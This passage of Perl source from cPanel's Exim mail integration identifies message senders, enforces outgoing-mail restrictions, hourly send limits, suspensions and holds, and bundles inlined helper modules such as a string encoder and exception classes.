$sender_lookup_method .= '/mailman'; $sender = 'mailman@' . $domain; $counted_domain = $domain if ( file_exists('/var/cpanel/email_send_limits/count_mailman') ); } } } $sender_lookup = $sender; if ( $log && $message_exim_id ) { $username ||= ( ( $sender =~ tr{@}{} ) ? getdomainowner( ( split( m{@}, $sender ) )[1] ) : $sender ); if ($username) { # Will log as 2017-05-26 13:42:22 1dEKBq-0007HB-6R Sender identification S=nick Exim::log_write("Sender identification U=$username D=$domain S=$sender"); #replay for tailwatchd } } return ( $sender, $domain, $counted_domain, $is_mailman ); } sub get_message_sender_address { return ( get_message_sender(@_) )[0]; } sub enforce_mail_permissions { $enforce_mail_permissions_data ? 1 : 0; } sub check_mail_permissions { $check_mail_permissions_domain = undef; #Exim::log_write("!DEBUG! running check_mail_permissions"); my $uid = int( Exim::expand_string('$originator_uid') ); $enforce_mail_permissions_data = ':fail: check_mail_permissions failed to complete or set a status'; $check_mail_permissions_result = ''; $check_mail_permissions_data = ':unknown:'; $check_mail_permissions_domain = ''; $check_mail_permissions_sender = ''; $check_mail_permissions_is_mailman = 0; $nobody_uid ||= user2uid('nobody'); my $acl_c_vhost_owner = ( split( m{:}, Exim::expand_string('$acl_c_vhost_owner') || '' ) )[0]; my $acl_c_vhost_owner_known_user = ( $acl_c_vhost_owner && $acl_c_vhost_owner != $nobody_uid ) ? 1 : 0; if ( $uid == $nobody_uid && !$acl_c_vhost_owner_known_user && file_exists('/etc/webspam') ) { $enforce_mail_permissions_data = ':fail: Mail sent by user nobody being discarded due to sender restrictions in WHM->Tweak Settings'; $check_mail_permissions_result = "uid ($uid) is the nobody_uid ($nobody_uid) and /etc/webspam exists"; # for tests (only set when enforce_mail_permissions_data is empty) return 'no'; } my $gid = int( Exim::expand_string('$originator_gid') ); #MAILTRAP if ( file_exists('/etc/eximmailtrap') ) { $mailtrap_gid ||= int( ( getgrnam('mailtrap') )[2] ); $nobody_gid ||= int( ( getgrnam('nobody') )[2] ); if ( $uid >= $nobody_uid && $gid >= $nobody_gid && $gid != $mailtrap_gid ) { $enforce_mail_permissions_data = ":fail: Gid $gid is not permitted to relay mail, or has directly called /usr/sbin/exim instead of /usr/sbin/sendmail."; return 'no'; } } #MAILTRAP if ( Exim::expand_string('$received_protocol') eq 'local' && isdemo($uid) ) { $enforce_mail_permissions_data = ":fail: User with uid $uid is a demo user. You cannot send mail if your account is in demo mode."; return 'no'; } my $message_exim_id = Exim::expand_string('$message_exim_id'); if ( !$message_exim_id && !Exim::expand_string('$sender_address') ) { $enforce_mail_permissions_data = ''; # permit normal acction #Exim::log_write("!DEBUG! check_mail_permissions called without sender_address set from $sender_host_address (rcount: $recipients_count)"); $check_mail_permissions_result = "webspam check, mailtrap check, demo check passed and no sender_address"; # for tests (only set when enforce_mail_permissions_data is empty) return 'no'; } # real_domain is the domain of the actual sender # domain is the domain we actually count the message against # Currently these are always the same except domain may be # rewritten if we are coming from a mailman list in order # to count against the owner of the list instead of the mailman # user assuming /var/cpanel/email_send_limits/count_mailman exists my ( $sender, $real_domain, $domain, $is_mailman ) = get_message_sender( $uid, $gid, 1 ); if ( $sender =~ m/^_archive\@/ ) { $enforce_mail_permissions_data = ":fail: Archive Users are not permitted to send email. Message discarded."; $check_mail_permissions_result = "get_message_sender returned an archive user"; return 'no'; } if ( !Cpanel::Server::Type::Role::MailRelay->is_enabled() ) { $enforce_mail_permissions_data = ":fail: This server does not relay mail."; $check_mail_permissions_result = "This server does not relay mail."; return 'no'; } if ( !$domain || $domain eq '' ) { my $sender_host_address = Exim::expand_string('$received_protocol') eq 'local' ? 'localhost' : Exim::expand_string('$sender_host_address'); my $recipients_count = Exim::expand_string('$recipients_count'); my $routed_domain = Exim::expand_string('$domain'); if ( $sender eq 'nobody' && file_exists('/etc/webspam') ) { Exim::log_write("check_mail_permissions could not determine the sender domain for a nobody message [routed_domain=$routed_domain message_exim_id=$message_exim_id sender_host_address=$sender_host_address recipients_count=$recipients_count]") if $recipients_count && !getdomainowner($routed_domain); $enforce_mail_permissions_data = ':fail: Mail sent by user nobody that cannot be linked to a user is being discarded due to sender restrictions in WHM->Tweak Settings'; $check_mail_permissions_result = "The sender of the message nobody and /etc/webspam exists"; # for tests (only set when enforce_mail_permissions_data is empty) } else { Exim::log_write("check_mail_permissions could not determine the sender domain [routed_domain=$routed_domain message_exim_id=$message_exim_id sender_host_address=$sender_host_address recipients_count=$recipients_count]") if $recipients_count && !getdomainowner($routed_domain); # If delivery is to a userdomain that its expected that we cannot get the sender domain $enforce_mail_permissions_data = ''; # permit normal acction $check_mail_permissions_result = "get_message_sender returned no domain"; # for tests (only set when enforce_mail_permissions_data is empty) } return 'no'; } else { if ( !$message_exim_id ) { #Exim::log_write("check_mail_permissions !DEBUG! got the domain ($domain) of a message before the message id!"); } } #Exim::log_write("check_mail_permissions !DEBUG! found sender domain of message: $message_exim_id to be $domain with sender [$sender]"); $check_mail_permissions_msgid = $message_exim_id if $message_exim_id; $check_mail_permissions_domain = $domain if $domain; $check_mail_permissions_sender = $sender if $sender; $check_mail_permissions_is_mailman = $is_mailman; if ( $domain && $domain ne _SENDER_SYSTEM ) { my $now; # Just before we check to see if we've exceeded the allowable mail counts for this domain, # check to see if we need to notify the admin about someone exceeding the warning level my $mail_count = get_current_emails_per_day($domain) + 1; # +1 for the one we're *about* to send, but haven't yet! my $emails_to_notify = get_email_daily_limit_notify(); if ( ( $emails_to_notify > 0 ) && ( $mail_count > $emails_to_notify ) ) { if ( !file_exists( '/var/cpanel/email_send_limits/daily_notify/' . $domain ) ) { create_daily_notify_touchfile($domain); Exim::log_write("check_mail_permissions Hit daily email notify limit for domain $domain"); } } if ( file_exists( '/var/cpanel/email_send_limits/max_deferfail_' . $domain ) ) { local $/; my $limit_data; if ( open( my $email_fh, '<', '/var/cpanel/email_send_limits/max_deferfail_' . $domain ) ) { $limit_data = readline($email_fh); close($email_fh); } my ( $currentmail, $maxmails, $percentage ) = $limit_data =~ /([0-9]+)\/([0-9]+)\s+\(([0-9]+)/; $currentmail ||= 'unknown'; $maxmails ||= 'unknown'; $percentage ||= 100; $enforce_mail_permissions_data = ":fail: Domain $domain has exceeded the max defers and failures per hour ($currentmail/$maxmails ($percentage\%)) allowed. Message discarded."; return 'no'; } elsif ( my $maxmails = getmaxemailsperhour($domain) ) { my $currentmail = get_current_emails_per_hour( $domain, ( $now ||= time() ) ); if ( $currentmail >= $maxmails ) { my $cutoff_percentage = get_email_send_limits_defer_cutoff(); my $percentage = int( ( $currentmail / $maxmails ) * 100 ); if ( $percentage >= $cutoff_percentage ) { $enforce_mail_permissions_data = ":fail: Domain $domain has exceeded the max emails per hour ($currentmail/$maxmails ($percentage\%)) allowed. Message discarded."; return 'no'; } else { increment_max_emails_per_hour( $domain, ( $now ||= time() ), $message_exim_id ); # need to count it because we will try it later # this will result in percentages above 100% which may be confusing however correct # this is how we decide to defer or fail the message return _check_mail_permission_defer_with_message("Domain $domain has exceeded the max emails per hour ($currentmail/$maxmails ($percentage\%)) allowed. $reattempt_message"); } } } if ( domain_has_outgoing_mail_suspended($domain) ) { # We already check this in the ACL, however if the sender domain # is forged we have to check it again here to ensure that # we are checking against the actual sender and not the # domain in the from: field $enforce_mail_permissions_data = ":fail: Domain $domain has an outgoing mail suspension. Message discarded."; return 'no'; } elsif ( domain_has_outgoing_mail_hold($domain) ) { track_held_message($domain); return _check_mail_permission_defer_with_message("Domain $domain has an outgoing mail hold. $reattempt_message"); } elsif ($sender) { if ( user_has_outgoing_mail_suspended($sender) ) { # We already check this in the ACL, however if the sender domain # is forged we have to check it again here to ensure that # we are checking against the actual sender and not the # domain in the from: field $enforce_mail_permissions_data = ":fail: Sender $sender has an outgoing mail suspension. Message discarded."; return 'no'; } elsif ( user_has_outgoing_mail_hold($sender) ) { track_held_message($sender); return _check_mail_permission_defer_with_message("Sender $sender has an outgoing mail hold. $reattempt_message"); } } } $enforce_mail_permissions_data = ''; # permit normal action $check_mail_permissions_result = "reached end of check_mail_permissions"; # for tests (only set when enforce_mail_permissions_data is empty) return 'no'; } sub _check_mail_permission_defer_with_message { my ($message) = @_; my $message_body = Exim::expand_string('$message_body'); my $message_body_size = Exim::expand_string('$message_body_size'); my $message_body_length = length($message_body); $check_mail_permissions_data = qq{# Exim filter\n\nunseen mail } . ( $check_mail_permissions_sender ? qq{to } . Cpanel::Encoder::Exim::unquoted_encode_string_literal($check_mail_permissions_sender) . qq{\n} : '' ) . q{subject "Mail delivery deferred: returning message to sender" } . q{from "Mail Delivery System <Mailer-Daemon@$primary_hostname>" } . q{text "This message was created automatically by mail delivery software.\n} . q{\n} . q{A message that you sent could not be delivered to one or more of its\n} . q{recipients. This is a temporary error. The following address(es) deferred:\n} . q{\n} . q{ $local_part@$domain\n} . qq{ $message} . q{\n\n} . q{------- This is a copy of the message, including all the headers. ------\n} . ( ( $message_body_length < $message_body_size ) ? ( q{------ The body of the message is $message_body_size characters long; only the first\n} . q{------ } . $message_body_length . q{ or so are included here.\n} ) : () ) . q{$message_headers\n\n} . q{$message_body"} . qq{\nfinish}; $enforce_mail_permissions_data = ":defer: \"$message\""; return 'yes'; } sub domain_has_outgoing_mail_hold { my ($domain) = @_; my $user = getdomainowner($domain); if ( $user && user_has_outgoing_mail_hold($user) ) { return 1; } return 0; } sub domain_has_outgoing_mail_suspended { my ($domain) = @_; my $user = getdomainowner($domain); if ( $user && user_has_outgoing_mail_suspended($user) ) { return 1; } return 0; } sub user_has_outgoing_mail_suspended { my ($user) = @_; if ( -e '/etc/outgoing_mail_suspended_users' ) { return user_exists_in_db( $user, '/etc/outgoing_mail_suspended_users' ); } return 0; } sub user_has_outgoing_mail_hold { my ($user) = @_; if ( -e '/etc/outgoing_mail_hold_users' ) { return user_exists_in_db( $user, '/etc/outgoing_mail_hold_users' ); } return 0; } sub check_outgoing_mail_suspended { if ( !Cpanel::Server::Type::Role::MailSend->is_enabled() && Exim::expand_string('$sender_host_address') ) { $outgoing_mail_suspended_message = "This server does not relay mail."; return 1; } my $uid = int( Exim::expand_string('$originator_uid') ); my $gid = int( Exim::expand_string('$originator_gid') ); my ( $sender, $real_domain, $domain, $is_mailman ) = get_message_sender( $uid, $gid, 0 ); if ( $real_domain && $real_domain ne _SENDER_SYSTEM && domain_has_outgoing_mail_suspended($real_domain) ) { $outgoing_mail_suspended_message = "Outgoing mail from \"$real_domain\" has been suspended."; return 1; } elsif ( $sender && user_has_outgoing_mail_suspended($sender) ) { $outgoing_mail_suspended_message = "Outgoing mail from \"$sender\" has been suspended."; return 1; } return 0; } sub get_outgoing_mail_suspended_message { return $outgoing_mail_suspended_message; } sub increment_max_emails_per_hour_if_needed { # Exim::log_write("!DEBUG! increment_max_emails_per_hour_if_needed entered"); if ( $check_mail_permissions_domain && $check_mail_permissions_domain ne _SENDER_SYSTEM ) { if ( Exim::expand_string('${if first_delivery{1}{0}}') || ( $check_mail_permissions_msgid && _get_last_delivery_message($check_mail_permissions_msgid) =~ m/$reattempt_message/o ) ) { # if FIRST_DELIVERY or last line of msglog is our $reattempt_message # example == f@kos.net R=check_mail_permissions defer (-1): Domain pigdog.org has exceeded the max emails per hour (12/10 (120%)) allowed. Message will be reattempted later # we need to tell the next function to charge us for the message since it was deferred before and we did not get here # Exim::log_write("!DEBUG! increment_max_emails_per_hour=$check_mail_permissions_domain msgid=$check_mail_permissions_msgid"); increment_max_emails_per_hour( $check_mail_permissions_domain, time(), $check_mail_permissions_msgid ); } } return 'no'; } sub store_spam { my $sender_host_address = shift; my $spam_score = shift; my $now = time(); open( my $spam_fh, '>>', '/var/cpanel/spamstore' ); #uncomment to deploy # syswrite($spam_fh, $now . ':' . $sender_host_address . ':' . $spam_score . ":.\n"); close($spam_fh); } sub _get_last_delivery_message { my $message_exim_id = shift; my ( $last_message, $msglog_file, $msglog_size ); my $spool_directory = Exim::expand_string('$spool_directory'); my $spool_split_directory = substr( ( split( /-/, $message_exim_id ) )[0], -1, 1 ); if ( file_exists("$spool_directory/msglog/$spool_split_directory/$message_exim_id") ) { #split spool $msglog_size = ( stat(_) )[7]; $msglog_file = "$spool_directory/msglog/$spool_split_directory/$message_exim_id"; } elsif ( file_exists("$spool_directory/msglog/$message_exim_id") ) { #not split $msglog_size = ( stat(_) )[7]; $msglog_file = "$spool_directory/msglog/$message_exim_id"; } if ( $msglog_file && open( my $msg_log_fh, '<', $msglog_file ) ) { seek( $msg_log_fh, $msglog_size - 4096, 0 ) if $msglog_size > 8192; local $/; $last_message = ( split( /\n/, readline($msg_log_fh) ) )[-1]; } # Exim::log_write("!DEBUG! _get_last_delivery_message for [$message_exim_id] is $last_message"); return $last_message || ''; } sub resolve_authenticated_sender { my ( $sender, $domain, $sender_lookup_method ) = @_; my $sender_address = Exim::expand_string('$sender_address'); my $sender_address_domain = Exim::expand_string('$sender_address_domain'); # We only want to use the sender in the from header if they have already # authenticated with at least the permissions of the account my ( $from_h_sender, $from_h_localpart, $from_h_domain ) = _get_from_h_sender(); $primary_hostname ||= Exim::expand_string('$primary_hostname'); # The user expects to be able to just set the From: headers # we try to accomodate that first if they have permissions on the account if ( $from_h_domain eq $primary_hostname ) { $sender_lookup_method .= "/primary_hostname/system user"; } elsif ( $sender eq getdomainowner($from_h_domain) ) { $sender = $from_h_localpart . '@' . $from_h_domain; $domain = $from_h_domain; $sender_lookup_method .= "/from_h"; } # otherwise we fallback to the sender_address_domain elsif ( $sender eq getdomainowner($sender_address_domain) ) { $sender = $sender_address; $domain = $sender_address_domain; $sender_lookup_method .= "/sender_address_domain"; } else { # finally we accept that we don't know who sent it besdies the # authenticated user $sender_lookup_method .= "/only user confirmed/virtual account not confirmed"; } return ( $sender, $domain, $sender_lookup_method ); } sub resolve_vhost_owner { if ( file_exists('/var/cpanel/config/email/trust_x_php_script') ) { if ( my $x_php_script = Exim::expand_string('$h_x-php-script:') ) { #X-PHP-Script: <servername><php-self> for <remote-addr> #X-PHP-Script: www.example.com/~user/testapp/send-mail.php for 10.0.0.1 my ( $servername, $uri ) = split( m{/}, $x_php_script, 2 ); if ( $uri =~ m/^\/?\~([^\/\s]+)/ ) { my $http_user = $1; my $uid = user2uid($http_user); Exim::log_write("nobody send identification H=localhost A=127.0.0.1 U=$http_user ID=$uid B=acl_c_vhost_owner M=trust_x_php_script"); return $uid . ':' . '//' . $servername . '/' . $uri . ' '; } elsif ( my $http_user = getdomainowner($servername) ) { my $uid = user2uid($http_user); Exim::log_write("nobody send identification H=localhost A=127.0.0.1 U=$http_user ID=$uid B=acl_c_vhost_owner M=trust_x_php_script"); return $uid . ':' . '//' . $servername . '/' . $uri . ' '; } } } if ( file_exists('/var/cpanel/config/email/query_apache_for_nobody_senders') ) { # Lets lookup the real uid by querying apache require Cpanel::ProcessInfo; require Cpanel::ApacheServerStatus; my $server_status = Cpanel::ApacheServerStatus->new(); my $httpd_pid; my $http_status_data; my $current_pid = $$; while ( ( $current_pid = Cpanel::ProcessInfo::get_parent_pid($current_pid) ) && $current_pid != 1 ) { if ( my $status_data = $server_status->get_status_by_pid($current_pid) ) { $httpd_pid = $current_pid; $http_status_data = $status_data; last; } } if ($http_status_data) { my $uri = ( split( /\s+/, $http_status_data->{'request'} ) )[1]; if ( $uri =~ m/^\/?\~([^\/\s]+)/ ) { my $http_user = $1; my $uid = user2uid($http_user); Exim::log_write("nobody send identification H=localhost A=127.0.0.1 U=$http_user ID=$uid B=acl_c_vhost_owner M=query_apache_for_nobody_senders"); return $uid . ':' . '//' . $http_status_data->{'vhost'} . $uri . ' '; } elsif ( my $http_user = getdomainowner( $http_status_data->{'vhost'} ) ) { my $uid = user2uid($http_user); Exim::log_write("nobody send identification H=localhost A=127.0.0.1 U=$http_user ID=$uid B=acl_c_vhost_owner M=query_apache_for_nobody_senders"); return $uid . ':' . '//' . $http_status_data->{'vhost'} . $uri . ' '; } } } return; } # Obtain the from header from the message # We fallback to the envelope sender if there # is no from header set (ie sendmail -bt or missing From header) sub _get_from_h_sender { my $from_h_domain = Exim::expand_string('${domain:$h_from:}'); my $from_h_local_part = Exim::expand_string('${local_part:$h_from:}'); if ( length $from_h_local_part ) { if ( length $from_h_domain ) { return ( $from_h_local_part . '@' . $from_h_domain, $from_h_local_part, $from_h_domain ); } else { $primary_hostname ||= Exim::expand_string('$primary_hostname'); return ( $from_h_local_part . '@' . $primary_hostname, $from_h_local_part, $primary_hostname ); } } else { # Handle fallback to sender_address when message is missing a from header my $sender_address_domain = Exim::expand_string('$sender_address_domain'); my $sender_address_local_part = Exim::expand_string('$sender_address_local_part'); return ( $sender_address_local_part . '@' . $sender_address_domain, $sender_address_local_part, $sender_address_domain ); } } my $email_holds_dir = '/var/cpanel/email_holds'; sub track_held_message { my ($holder) = @_; if ( -1 != index( $holder, '/' ) ) { warn "Holder “$holder” should not have “/” in it!"; $holder =~ s/\///g; #jic } my $message_exim_id = Exim::expand_string('$message_exim_id'); _check_hold_dir($holder); my $path = "$email_holds_dir/track/$holder/$message_exim_id"; if ( !-e $path ) { if ( $! == _ENOENT() ) { open( my $fh, '>>', $path ) or do { warn "open(>>, $path): $!"; }; } else { warn "stat($path): $!"; } } return 1; } sub _mkdir_if_not_exists_or_warn { my ( $path, $mode ) = @_; mkdir( $path, $mode ) or do { if ( $! != _EEXIST() ) { warn "mkdir($path, $mode): $!"; } return undef; }; return 1; } sub _check_hold_dir { my ($holder) = @_; if ( !-e "$email_holds_dir/track/$holder" ) { if ( $! == _ENOENT() ) { _mkdir_if_not_exists_or_warn( $email_holds_dir, 0751 ); _mkdir_if_not_exists_or_warn( "$email_holds_dir/track", 0750 ); _mkdir_if_not_exists_or_warn( "$email_holds_dir/track/$holder", 0750 ); } else { warn "stat($email_holds_dir/track/$holder): $!"; } } return; } =head2 maskdir($dir) This function converts a path on the system to a path relative to the users home directory that it contains. The relative path is prefixed with the user's primary domain in the below format: domain.tld:/public_html/cgi-bin/xyz.cgi If the path is not contained within a user's home directory, the path is returned without modification. =cut sub maskdir { my ($dir) = @_; # Try the user first my $maskeddir = $dir; my ($likely_user) = ( split( m{/}, $dir ) )[2]; if ( my $likely_homedir = gethomedir($likely_user) ) { chop $likely_homedir if substr( $likely_homedir, -1 ) eq '/'; if ( rindex( $dir, "$likely_homedir/", 0 ) == 0 ) { substr( $maskeddir, 0, length($likely_homedir), getusersdomain($likely_user) . ":" ); return $maskeddir; } } # Next try all users in /etc/passwd if ( open my $passwd_fh, '<', "/etc/passwd" ) { while ( readline($passwd_fh) ) { my ( $homedir, $uid, $user ) = ( split( /:/, $_ ) )[ 0, 2, 5 ]; next if $uid < 100 || length $homedir < 3; chop $homedir if substr( $homedir, -1 ) eq '/'; if ( rindex( $dir, "$homedir/", 0 ) == 0 ) { substr( $maskeddir, 0, length($homedir), getusersdomain($user) . ":" ); return $maskeddir; } } } else { warn "open(/etc/passwd): $!"; } return $dir; } sub extract_hosts_from_route_list_item { my $item = shift; my (undef, $hosts, undef) = Exim::parse_route_item($item); return $hosts; } sub convert_to_hostlist_item { my ($item, $separator) = @_; $separator //= '\n'; $item =~ s/^\s+//; $item =~ s/\s+$//; # Ignore group separator: if ($item eq '+') { $item = ''; } # Extract bracketed IP address: elsif ( $item !~ s/^\[(\S*)\]:\d+$/$1/ ) { # If nothing subbed, what's left is an unbracketed IPv4 or a hostname. # Remove port if present: $item =~ s/:\d+$//; # Finally, if the hostname specified /mx, do a lookup of its MX records and sub in the entire list: if ($item =~ s{^(\S+)/mx$}{$1}i) { $item = Exim::expand_string('${lookup dnsdb{>' . $separator . ' mxh=' . $item . '}{$value}}'); } } return $item; } sub get_suspended_shell { my ($user) = @_; my $passwd_file_shell = Exim::expand_string( '${extract{6}{:}{${lookup passwd{' . Cpanel::Encoder::Exim::unquoted_encode_string_literal($user) . '}}}}' ); if ( !length($passwd_file_shell) ) { return ''; } if ( $passwd_file_shell ne '/bin/false' ) { return $passwd_file_shell; } if ( open my $fh, '<', "/var/cpanel/suspendinfo/${user}" ) { while ( my $ln = readline($fh) ) { if ( $ln =~ m{\Ashell=\s*(\S+)} ) { close $fh; return $1; } } close $fh; } return '/usr/local/cpanel/bin/noshell'; } # Untaint a string for exim. This is not a perl untaint sub untaint { return $_[0]; } require Cpanel::Encoder::Exim; require Cpanel::Server::Type::Role::MailRelay; require Cpanel::Server::Type::Role::MailSend; 1; BEGIN { # Suppress load of all of these at earliest point. $INC{'cPstrict.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Encoder/Exim.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/ExceptionMessage.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Locale/Utils/Fallback.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/ExceptionMessage/Raw.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/LoadModule/Utils.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/ScalarUtil.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Exception/CORE.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Pack.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Pack/Template.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Validate/IP/v4.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Validate/IP.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Validate/IP/Expand.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/IP/Expand.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Linux/Netlink.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Linux/Proc/Net/Tcp.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Ident.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Autodie.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Autodie/CORE/exists.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Autodie/CORE/exists_nofollow.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Autodie/More/Lite.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Services/Enabled/Spamd.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/FileUtils/Dir.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/DKIM/ValidityCache.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Context.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/ProcessInfo.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Fcntl/Constants.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Socket/Constants.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Hulk/Constants.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/ApacheServerStatus.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Server/Type.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Server/Type/Profile/Constants.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/LoadModule.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Validate/AnyAllMatcher.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Server/Type/Profile.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Server/Type/Role/EnabledCache.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Server/Type/Role.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Server/Type/Role/TouchFileRole.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Server/Type/Role/MailRelay.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; $INC{'Cpanel/Server/Type/Role/MailSend.pm'} = '/usr/local/cpanel/tmp/exim.local.build.pl.static'; } { # --- BEGIN cPstrict package cPstrict; # cpanel - cPstrict.pm Copyright 2022 cPanel, L.L.C. # All rights Reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use warnings; =pod This is importing the following to your namespace use strict; use warnings; use v5.30; use feature 'signatures'; no warnings 'experimental::signatures'; =cut sub import { # auto import strict and warnings to our caller warnings->import(); strict->import(); require feature; feature->import( ':5.30', 'signatures' ); warnings->unimport('experimental::signatures'); return; } 1; } # --- END cPstrict { # --- BEGIN Cpanel/Encoder/Exim.pm package Cpanel::Encoder::Exim; my %encodes = ( q{\\} => q{\\\\\\\\}, #\ -> \\\\ q{"} => q{\\"}, #" -> \" q{$} => q{\\\\$}, #$ -> \\$ "\x0a" => q{\\n}, #newline -> \n "\x0d" => q{\\r}, #carriage return -> \r "\x09" => q{\\t}, #tab => \t ); sub encode_string_literal { return if !defined $_[0]; return q{"} . join( q{}, map { $encodes{$_} || $_ } split( m{}, $_[0] ) ) . q{"}; } sub unquoted_encode_string_literal { my $string = shift; return if !defined $string; $string =~ s/\\N/\\N\\\\N\\N/g; # Only use / here for perl compat return "\\N$string\\N"; } 1; } # --- END Cpanel/Encoder/Exim.pm { # --- BEGIN Cpanel/ExceptionMessage.pm package Cpanel::ExceptionMessage; use strict; # use Cpanel::Exception (); *load_perl_module = \&Cpanel::Exception::load_perl_module; 1; } # --- END Cpanel/ExceptionMessage.pm { # --- BEGIN Cpanel/Locale/Utils/Fallback.pm package Cpanel::Locale::Utils::Fallback; use strict; use warnings; sub interpolate_variables { my ( $str, @maketext_opts ) = @_; my $c = 1; my %h = map { $c++, $_ } @maketext_opts; $str =~ s{(\[(?:[^_]+,)?_([0-9])+\])}{$h{$2}}g; return $str; } 1; } # --- END Cpanel/Locale/Utils/Fallback.pm { # --- BEGIN Cpanel/ExceptionMessage/Raw.pm package Cpanel::ExceptionMessage::Raw; use strict; use warnings; # use Cpanel::ExceptionMessage(); our @ISA; BEGIN { push @ISA, qw(Cpanel::ExceptionMessage); } # use Cpanel::Locale::Utils::Fallback (); sub new { my ( $class, $str ) = @_; my $str_copy = $str; return bless( \$str_copy, $class ); } sub to_string { my ($self) = @_; return $$self; } sub get_language_tag { return 'en'; } BEGIN { *Cpanel::ExceptionMessage::Raw::convert_localized_to_raw = *Cpanel::Locale::Utils::Fallback::interpolate_variables; *Cpanel::ExceptionMessage::Raw::to_locale_string = *Cpanel::ExceptionMessage::Raw::to_string; *Cpanel::ExceptionMessage::Raw::to_en_string = *Cpanel::ExceptionMessage::Raw::to_string; } 1; } # --- END Cpanel/ExceptionMessage/Raw.pm { # --- BEGIN Cpanel/LoadModule/Utils.pm package Cpanel::LoadModule::Utils; use strict; use warnings; sub module_is_loaded { my $p = module_path( $_[0] ); return 0 unless defined $p; return defined $INC{$p} ? 1 : 0; } sub module_path { my ($module_name) = @_; if ( defined $module_name && length($module_name) ) { substr( $module_name, index( $module_name, '::' ), 2, '/' ) while index( $module_name, '::' ) > -1; $module_name .= '.pm' unless substr( $module_name, -3 ) eq '.pm'; } return $module_name; } sub is_valid_module_name { return $_[0] =~ m/\A[A-Za-z_]\w*(?:(?:'|::)\w+)*\z/ ? 1 : 0; } 1; } # --- END Cpanel/LoadModule/Utils.pm { # --- BEGIN Cpanel/ScalarUtil.pm package Cpanel::ScalarUtil; use strict; use warnings; sub blessed { return ref( $_[0] ) && UNIVERSAL::isa( $_[0], 'UNIVERSAL' ) || undef; } 1; } # --- END Cpanel/ScalarUtil.pm { # --- BEGIN Cpanel/Exception/CORE.pm package Cpanel::Exception::CORE; 1; package Cpanel::Exception; use strict; BEGIN { $INC{'Cpanel/Exception.pm'} = '__BYPASSED__'; } our $_SUPPRESS_STACK_TRACES = 0; our $_EXCEPTION_MODULE_PREFIX = 'Cpanel::Exception'; our $IN_EXCEPTION_CREATION = 0; our $_suppressed_msg = '__STACK_TRACE_SUPPRESSED__YOU_SHOULD_NEVER_SEE_THIS_MESSAGE__'; my $PACKAGE = 'Cpanel::Exception'; my $locale; my @ID_CHARS = qw( a b c d e f g h j k m n p q r s t u v w x y z 2 3 4 5 6 7 8 9 ); my $ID_LENGTH = 6; # use Cpanel::ExceptionMessage::Raw (); # use Cpanel::LoadModule::Utils (); use constant _TRUE => 1; use overload ( '""' => \&__spew, bool => \&_TRUE, fallback => 1, ); BEGIN { die "Cannot compile Cpanel::Exception::CORE" if $INC{'B/C.pm'} && $0 !~ m{cpkeyclt|cpsrvd\.so|t/large}; } sub _init { return 1 } # legacy sub create { my ( $exception_type, @args ) = @_; _init(); if ($IN_EXCEPTION_CREATION) { _load_cpanel_carp(); die 'Cpanel::Carp'->can('safe_longmess')->("Attempted to create a “$exception_type” exception with arguments “@args” while creating exception “$IN_EXCEPTION_CREATION->[0]” with arguments “@{$IN_EXCEPTION_CREATION->[1]}”."); } local $IN_EXCEPTION_CREATION = [ $exception_type, \@args ]; if ( $exception_type !~ 